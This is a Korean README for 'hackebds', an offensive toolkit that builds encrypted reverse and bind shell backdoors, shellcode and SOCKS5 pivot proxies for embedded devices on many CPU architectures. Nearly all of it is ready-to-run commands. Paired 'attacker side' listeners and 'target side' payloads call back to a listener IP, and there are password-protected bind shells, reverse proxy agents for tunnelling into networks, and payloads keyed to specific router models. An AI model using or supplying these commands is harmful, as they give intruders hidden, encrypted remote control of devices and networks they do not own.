
이 도구는 다양한 아키텍처 장치에 대한 백도어 암호화, shellcode, SOCKS5 프록시 생성, 정보 검색 및 POC 정리에 사용됩니다.
hackebds는 임베디드 장치용 페이로드 생성, 암호화된 셸 워크플로우, SOCKS5 프록시 터널링 및 장치 정보 조회를 위한 툴킷입니다.
현재 브랜치는 암호화된 셸 및 프록시 기능을 위해 순수 ELF 워크플로우를 사용합니다:
reverse_shell_file + encrypted_shell_server / reverse_shell_serverbind_shell + bind_shell_clientreverse_proxy_file + reverse_proxy_serverforward_proxy_fileencrypted_shell_server / reverse_shell_server ELF 리스너 추가bind_shell용 bind_shell_client ELF 커넥터 추가aes 및 chacha20 암호 선택 추가bind_shell, encrypted_shell_server, reverse_proxy_server, forward_proxy_file과 같은 리스너 측 ELF 바이너리에 대해 -bind_ip 추가reverse_shell_file 및 reverse_proxy_file은 아웃바운드 페이로드로 유지: 를 사용하며 로컬 리스너 IP를 바인딩하지 않음python3 -m pip install -U hackebds
로컬 개발 설치:
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .
다른 호스트에서 릴리스 휠을 다시 빌드해야 하는 경우 소스 zip과 build_release.py를 사용하세요.
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64
네이티브가 아닌 ELF 파일을 생성하기 전에 대상 아키텍처의 binutils를 설치하세요.
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu
macOS 사용자는 pwntools binutils를 사용할 수 있습니다:
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
공격자 측:
hackebds -arch x64 -res encrypted_shell_server \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_server.elf
chmod +x reverse_server.elf
./reverse_server.elf
대상 측:
hackebds -arch mipsel -res reverse_shell_file \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_payload.elf
chmod +x reverse_payload.elf
./reverse_payload.elf
참고:
reverse_shell_file은 -bind_ip를 지원하지 않음encrypted_shell_server는 -bind_ip를 지원함-cipher chacha20를 -cipher aes로 변경하여 AES 사용대상 측:
hackebds -arch aarch64 -res bind_shell \
-bind_port 5555 \
-bind_ip 192.168.56.20 \
-passwd "s3cr3t" \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_shell.elf
chmod +x bind_shell.elf
./bind_shell.elf
공격자 측:
hackebds -arch x64 -res bind_shell_client \
-reverse_ip 192.168.56.20 -reverse_port 5555 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_client.elf
chmod +x bind_client.elf
./bind_client.elf
그런 다음 입력:
s3cr3t
id
uname -a
exit
리스너:
hackebds -arch x64 -res encrypted_shell_server --power \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_server.elf
./power_server.elf
페이로드:
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_payload.elf
서버:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_server.elf
chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf
에이전트:
hackebds -arch mips64el -res reverse_proxy_file \
-reverse_ip 192.168.56.1 -reverse_port 7000 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_agent.elf
chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf
테스트:
curl --socks5-hostname 127.0.0.1:1080 http://example.com/
인증이 활성화된 서버:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-socks_auth user:pass \
-cipher aes -encrypt_key "demo-key" \
-filename reverse_proxy_server_auth.elf
UDP 참고:
sparc / sparc64는 UDP를 지원하지 않는 것으로 간주해야 함hackebds -arch x64 -res forward_proxy_file \
-listen_port 1081 \
-bind_ip 192.168.56.1 \
-filename forward_proxy.elf
chmod +x forward_proxy.elf
./forward_proxy.elf
테스트:
curl --socks5-hostname 127.0.0.1:1081 http://example.com/
hackebds -arch armelv7 -res reverse_shellcode \
-reverse_ip 192.168.56.1 -reverse_port 4444
-model 사용hackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
-model DIR-816 -res reverse_shell_file
--mcpu 사용hackebds -mcpu mips32r2 -li -arch mipsel \
-reverse_ip 127.0.0.1 -reverse_port 9999 \
-res reverse_shell_file
--firmware 사용hackebds --firmware ./firmware.bin
-bind_ip는 리스너 측 ELF 파일에만 해당reverse_shell_file 및 reverse_proxy_file은 아웃바운드 페이로드이며 로컬 리스너 IP를 바인딩하지 않음reverse_proxy_server 및 forward_proxy_file은 -bind_ip를 지원함chacha20 및 aes 모두에서 작동하며, 양쪽이 일치하기만 하면 됨-reverse_ip